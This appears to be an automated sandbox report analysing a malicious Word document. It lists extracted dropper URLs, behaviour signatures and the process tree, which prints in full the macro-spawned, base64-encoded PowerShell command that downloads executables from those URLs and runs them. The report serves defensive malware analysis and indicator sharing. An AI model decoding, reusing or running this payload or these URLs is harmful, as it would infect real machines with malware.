Analysis
- max time kernel
143s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
04/05/2024, 16:42
General
- Target ã‹ã‚‰ã®å¤‰æ›´9月.doc
- Size 161KB
- Sample240504-t7p7jsed88
- SHA256 e28f8466fc814f4d244445407b160b0b7a1d0d9f1c87bc4bc220464f8cc05bd9
Malware Config
Extracted
-
ps1
-
exe.dropper
http://cryptokuota.com/assets/M2ngTrJ/
-
exe.dropper
https://pinterusmedia.com/wp-admin/YX/
-
exe.dropper
https://aszcasino.com/aszdemo/DRloh/
-
exe.dropper
https://dubai-homes.ae/wp-admin/YBJR3M/
-
exe.dropper
https://whitdoit.tk/ljiy53n/xxE/
-
exe.dropper
http://4life.com.vn/wp-admin/R/
-
exe.dropper
http://baran-business.de/wp-content/pMr/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 10 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ã‹ã‚‰ã®å¤‰æ›´9月.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQBcAGkAaQBxAFEASABRAFAAXAB3ADYAagBTAHgAZQBmAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBgAEkAVABZAHAAcgBPAFQATwBgAEMAbwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKwAnACwAIAB0AGwAcwAnACkAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAFEAaAA1AGcAeQBoAHUAIAA9ACAAKAAnAE4AJwArACgAJwA3ADAAJwArACcAdwAnACkAKwAoACcAbQAyACcAKwAnADYAZQAnACkAKQA7ACQASgBsAGUAMAA1ADgAcwA9ACgAJwBWAGUAJwArACcAcgAnACsAKAAnAG8AYQAnACsAJwB5AGgAJwApACkAOwAkAE8AcwB0AGYAXwBoAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBHADkAJwArACcAbABJACcAKwAnAGkAcQBxAGgAJwArACcAcQBwACcAKQArACcARwAnACsAJwA5AGwAJwArACgAJwBXACcAKwAnADYAagBzACcAKwAnAHgAZQBmAEcAOQBsACcAKQApAC0AcgBlAFAATABBAEMARQAgACAAKAAnAEcAOQAnACsAJwBsACcAKQAsAFsAQwBoAGEAUgBdADkAMgApACsAJABRAGgANQBnAHkAaAB1ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVwBxAGsAbgBvAHIAdAA9ACgAKAAnAE4AJwArACcAXwAyACcAKQArACgAJwBnAHUAJwArACcAeQBrACcAKQApADsAJABVAGoAagBvAGEAMwBqAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBCAGMATABpAGUAbgBUADsAJABWAG0AcgAxAGkAdABzAD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8ALwAnACkAKwAnAGMAcgAnACsAKAAnAHkAcAAnACsAJwB0AG8AJwApACsAKAAnAGsAJwArACcAdQBvAHQAYQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhACcAKwAnAHMAcwAnACsAKAAnAGUAJwArACcAdABzAC8ATQAyAG4AJwArACcAZwAnACkAKwAoACcAVAAnACsAJwByAEoALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AcAAnACsAJwBpAG4AdAAnACkAKwAnAGUAcgAnACsAKAAnAHUAcwBtACcAKwAnAGUAZAAnACkAKwAoACcAaQBhAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFkAJwApACsAJwBYAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKwAnAC8AYQBzAHoAYwAnACkAKwAnAGEAJwArACgAJwBzAGkAJwArACcAbgBvAC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAYQAnACsAJwBzAHoAJwApACsAJwBkAGUAJwArACgAJwBtAG8AJwArACcALwBEAFIAbABvAGgALwAnACsAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvACcAKQArACgAJwAvAGQAdQAnACsAJwBiAGEAJwApACsAKAAnAGkALQBoACcAKwAnAG8AbQAnACkAKwAnAGUAJwArACcAcwAnACsAJwAuAGEAJwArACgAJwBlAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGEAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBZACcAKQArACgAJwBCAEoAUgAnACsAJwAzAE0ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB3AGgAJwArACcAaQB0AGQAJwApACsAKAAnAG8AaQB0AC4AdABrACcAKwAnAC8AJwApACsAKAAnAGwAagBpAHkANQAnACsAJwAzACcAKQArACcAbgAvACcAKwAnAHgAeAAnACsAJwBFACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8ANAAnACsAJwBsACcAKwAoACcAaQAnACsAJwBmAGUAJwApACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgAnACsAJwB2AG4ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuACcAKQArACcALwAnACsAJwBSACcAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAvAC8AYgBhAHIAJwArACcAYQBuAC0AJwApACsAKAAnAGIAdQBzACcAKwAnAGkAbgBlAHMAJwApACsAJwBzACcAKwAoACcALgBkACcAKwAnAGUAJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwAnACsAJwBvAG4AJwApACsAJwB0AGUAJwArACcAbgB0ACcAKwAoACcALwAnACsAJwBwAE0AcgAnACkAKwAnAC8AJwApAC4AIgBTAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMAcQA3ADQAZQB4AGgAPQAoACcATwAnACsAKAAnAGEAJwArACcANwBnAGwAbgAnACkAKwAnAHMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBjADMAawA1ADMAaAAgAGkAbgAgACQAVgBtAHIAMQBpAHQAcwApAHsAdAByAHkAewAkAFUAagBqAG8AYQAzAGoALgAiAGQAbwBXAGAATgBsAG8AQQBgAGQARgBpAGAAbABlACIAKAAkAFkAYwAzAGsANQAzAGgALAAgACQATwBzAHQAZgBfAGgAbQApADsAJABUAHgAcgBsAHYAMwB6AD0AKAAoACcAVQBjACcAKwAnAHEANQBmACcAKQArACcAbQAnACsAJwBzACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABPAHMAdABmAF8AaABtACkALgAiAEwAYABlAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADkAOQA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAE8AcwB0AGYAXwBoAG0AKQA7ACQARAB6AHYAMwBwADYAaAA9ACgAKAAnAEgANAAnACsAJwBvAHYAJwApACsAJwBtACcAKwAnADMAZgAnACkAOwBiAHIAZQBhAGsAOwAkAE4AcQA4AGgAXwAzADkAPQAoACgAJwBaACcAKwAnAGIAYwAnACkAKwAoACcAaABuACcAKwAnADYAaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBuAGYAeQA5AHIAbQA9ACgAJwBIACcAKwAoACcAYgBsACcAKwAnADAAJwArACcAbABsAHAAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
iso690.xsl
__PSScriptPolicyTest_tk4hzfph.pf2.ps1
memory/976-81-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/976-583-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/976-578-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/976-88-0x00000205C6E60000-0x00000205C6E82000-memory.dmp
memory/1592-21-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-37-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-8-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-9-0x00007FF8014A0000-0x00007FF8014B0000-memory.dmp
memory/1592-10-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-11-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-12-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-13-0x00007FF8014A0000-0x00007FF8014B0000-memory.dmp
memory/1592-15-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-14-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-17-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-19-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-20-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-22-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-0-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-18-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-16-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-7-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-38-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-79-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-80-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-6-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-1-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-5-0x00007FF84370D000-0x00007FF84370E000-memory.dmp
memory/1592-97-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-98-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-4-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-414-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-577-0x00007FF843670000-0x00007FF843865000-memory.dmp
memory/1592-2-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-3-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-605-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-606-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-607-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-604-0x00007FF8036F0000-0x00007FF803700000-memory.dmp
memory/1592-608-0x00007FF843670000-0x00007FF843865000-memory.dmp